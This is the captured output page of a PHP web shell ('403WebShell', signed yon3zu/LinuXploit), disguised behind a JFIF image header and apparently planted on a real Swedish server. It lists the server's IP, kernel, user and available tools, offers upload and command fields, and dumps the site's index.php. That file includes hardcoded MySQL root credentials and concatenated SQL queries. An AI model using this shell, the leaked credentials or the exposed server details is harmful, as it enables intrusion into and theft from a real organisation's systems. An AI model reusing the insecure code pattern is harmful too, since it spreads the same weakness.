????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.144.252.203
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/digitaltwin/sensors/strandis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/digitaltwin/sensors/strandis//index.php
<?php


	session_start();
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("energicontrol");
	
	$date_from = date('Y-m-d',strtotime("- 1 days"));

	$sql = "SELECT * FROM tblEcoguard WHERE Time LIKE '".$date_from."%' AND SensorType LIKE '%T' AND SensorName = '00038898' ORDER BY SensorName, SensorType, Time DESC LIMIT 1";

	$result = mysql_query($sql);

	while ($row = mysql_fetch_assoc($result)){ 
		$Outdoor = round($row['Value'],1);
	}

	$sql = "SELECT DISTINCT(SensorName), Value, Time FROM tblEcoguard WHERE Time LIKE '".$date_from."%' AND tblEcoguard.SensorType = 'T' ORDER BY Time DESC";

//	$sql = "SELECT * FROM tblEcoguard, tblRoomInfo WHERE tblRoomInfo.SensorId = tblEcoguard.SensorName AND Time LIKE '".$date_from."%' AND Level = 'Plan 0' AND tblEcoguard.SensorType = 'T' GROUP BY SensorName ORDER BY Time DESC";

	$result = mysql_query($sql);
	
	$plan0_x = 0;
	$plan1_x = 0;
	$plan2_x = 0;
	$plan3_x = 0;

	$Temp_Plan0 = 0;
	$Temp_Plan1 = 0;
	$Temp_Plan2 = 0;
	$Temp_Plan3 = 0;

	$Volume = 0;


	while ($row = mysql_fetch_assoc($result)){ 
		$sql = "SELECT * FROM tblRoomInfo WHERE SensorId = '".$row['SensorName']."'";
		$result2 = mysql_query($sql);
			while ($row2 = mysql_fetch_assoc($result2)){ 
				if($row2["Level"] == "Plan 0"){
					$plan0_x++;
					$Temp_Plan0 += $row["Value"];
					
				}
				
				if($row2["Level"] == "Plan 1"){
					$plan1_x++;
					$Temp_Plan1 += $row["Value"];
					
				}
				
				if($row2["Level"] == "Plan 2"){
					$plan2_x++;
					$Temp_Plan2 += $row["Value"];
					
				}
				
				if($row2["Level"] == "Plan 3"){
					$plan3_x++;
					$Temp_Plan3 += $row["Value"];
				
				}
				
				
			}
	}

			$sql = "SELECT * FROM tblRoomInfo WHERE SensorType = 'T' ";
			$result2 = mysql_query($sql);
			while ($row2 = mysql_fetch_assoc($result2)){ 
				$Volume += $row2["Volume"];
			}

	$Temp_Plan0 = round($Temp_Plan0 / $plan0_x,1);
	$Temp_Plan1 = round($Temp_Plan1 / $plan1_x,1);
	$Temp_Plan2 = round($Temp_Plan2 / $plan2_x,1);
	$Temp_Plan3 = round($Temp_Plan3 / $plan3_x,1);

	$Temp_PlanAVG =  round(($Temp_Plan0 + $Temp_Plan1 + $Temp_Plan2 + $Temp_Plan3)/4,1);
	$Volume = round($Volume);
?>


<html>
<head>
<meta charset="utf-8">
<title>Namnlöst dokument</title>
</head>

<body bgcolor="#000000">
	
	<?php echo($sql);?>
	<br>
	<br>
	<table width="1255" height="758" border="1" background="images/background.PNG" align="center">
  <tbody>
    <tr>
      <td><table width="78%" border="0" align="center">
        <tbody>
          <tr>
            <td width="26%" height="249">
			  
				 <p align="right"><span style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px; color: black"> <br>
		          <br>
		          <br>
                  <?php echo($Temp_Plan3);?> °C</span><br>
                <br>
              <span style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px; color: black">              <?php echo($Temp_Plan2);?> °C</span><br>
              <br>
              <span style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px; color: black"><?php echo($Temp_Plan1);?> °C</span><br><br></p>
			  
			  </td>
            <td width="42%"><p><br>
              <br>
            </p>
              <p>&nbsp;</p>
              <p align="right"><br></p></td>
            <td width="32%" align="center" style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px;color: blue"><?php echo($Outdoor);?> °C</td>
          </tr>
          <tr>
            <td align="right"><span style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px; color: black"><?php echo($Temp_Plan0);?> °C<br>
                <br>
                <br>
                AVG: <?php echo($Temp_PlanAVG);?> °C<br>
              <br>
             
            </span>
			  
			  Volume: <?php echo($Volume);?> m³<br>
			  Temperaturskillnad: <?php echo($Temp_PlanAVG - $Outdoor);?> °C<br> 		
			  ENERGI:  <?php echo(round(($Temp_PlanAVG - $Outdoor)*0.0036*$Volume));?> kWh 
			  </td>
            <td align="right" style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px; color: green">&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td>&nbsp;</td>
            <td><p>&nbsp;</p>
              <p>&nbsp;</p>
              <p>&nbsp;</p>
              <p>&nbsp;</p>
              <p>&nbsp;</p></td>
            <td>&nbsp;</td>
          </tr>
        </tbody>
      </table></td>
    </tr>
  </tbody>
</table>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit